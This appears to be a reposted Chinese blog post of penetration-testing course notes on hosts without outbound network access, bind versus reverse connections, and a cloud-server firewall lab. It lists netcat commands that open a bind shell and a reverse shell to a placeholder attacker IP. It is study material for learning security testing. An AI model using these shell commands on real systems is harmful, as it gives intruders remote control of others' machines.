首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

不出网(小迪网络安全笔记~

  • 25-01-22 05:43
  • 2010
  • 13537
blog.csdn.net

附:完整笔记目录~
ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正!

3.2 不出网

  1. 引子:本篇主要介绍,什么是不出网、不出网对渗透测试造成的影响、测试者遇到了不出网该如何解决。至于迪总为什么要在基础入门讲这些,可能是为了后面Web篇和内网篇做铺垫吧。

  2. 概念

    不出网常在内网中被提到,指系统/网络无法主动向外部网络发起连接。针对运维人员而言,不出网最简单的实现方式则为出站规则的配置。

    那当攻击者遇到不出网的情况时该如何处理呢?

  3. 正向连接&反向连接

    1. 原理

      根据不出网的定义,即目标主机无法主动向外通信。那作为攻击机主动连接目标主机建立信道,实现对目标主机的控制,这种方式是不是就可以解决不出网了呢。同时也称这种方式为正向连接。

      那说到正向连接,顺带也介绍一下反向连接吧。正向连接是攻击机主动连接目标,而反向连接则是控制目标主机去主动连接攻击机。

    2. 实现:同样以nc为例

      # 正向连接
      # 攻击机
      nc 靶机ip 端口号
      # 靶机
      nc -lvp 端口号 -e bin/bash
      nc -lvp 端口号 -e cmd
      
      # 反向连接
      # 靶机
      nc 攻击机ip 端口号 -e /bin/bash
      nc 攻击机ip 端口号 -e cmd
      # 攻击机
      nc -lvp 端口号
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13

      有没有感觉反向连接的实现很熟悉呢,这不就是使用nc反弹Shell的命令。所以嘛,反弹Shell也是一种反向连接。

    3. 应用场景

      在面对不同场景时,需分别选择正向连接或反向连接。这里举几个例子

      1. 当管理员对应用出站规则做了严格限制,如不出网。(正向连接)
      2. 当管理员对应用入站规则做了严格限制,如Web服务器仅允许用户对其22、80、443端口进行访问。
        (反向连接)
      3. 当攻击机处于内网时。(正向连接)
      4. 当目标主机处于内网时。(反向连接)
  4. 隧道

    迪总没细讲,后续放到内网篇详细说吧。

  5. 实验:分别配置目标服务器出/入站规则,并通过nc进行正/反向连接。

    1. 配置目标服务器出站规则,通过nc尝试正向连接。

      以阿里云所租Ubuntu20.04为例,首先禁止服务器所有出站流量

      image-20241130190848156

      由于目标服务器不出网且放通了入站的21端口,因此使用攻击机尝试正向连接靶机21端口。

      image-20241130192041481

      正向连接成功!

    2. 配置目标服务器的入站规则,通过nc尝试反向连接。

      配置入站规则仅保留22端口,出站规则全放通。

      image-20241130192545467

      由于目标服务器出站规则全放通,因此尝试反向连接使目标服务器主动连接攻击机

      image-20241130193325288

      反向连接成功!

    3. 实验结束

注:本文转载自blog.csdn.net的1999er的文章"https://blog.csdn.net/qq_62040731/article/details/144160525"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2491) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top